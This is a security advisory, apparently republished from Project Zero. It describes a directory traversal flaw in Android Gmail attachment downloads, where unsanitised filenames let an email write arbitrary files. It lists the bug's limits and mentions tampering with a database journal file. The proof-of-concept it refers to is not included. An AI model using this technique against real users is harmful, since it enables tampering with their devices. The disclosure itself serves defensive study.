Android Gmail < 7.11.5.176568039 - Directory Traversal in Attachment Download 2017-11-28 17:05:02

'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1342

There is a directory traversal issue in attachment downloads in Gmail. For non-gmail accounts, there is no path sanitization on the attachment filename in the email, so when attachments are downloaded, a file with any name and any contents can be written to anywhere on the filesystem that the Gmail app can access. This bug has the following limitations:

1) the email address has to be a non-Gmail and non Gmailified (Hotmail or Yahoo) account
2) the file can not overwrite an existing file, it has to be a file that doesn't already exist
3) there user has to click to download the attachment (and the path looks a bit weird on the screen)

It is possible to modify a EmailProviderBody database using this bug by placing a journal file in the databases directory.

Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your Gmail credentials). WARNING: this PoC will cause Gmail to crash repeatedly, and you will need to re-install it to get it to work again
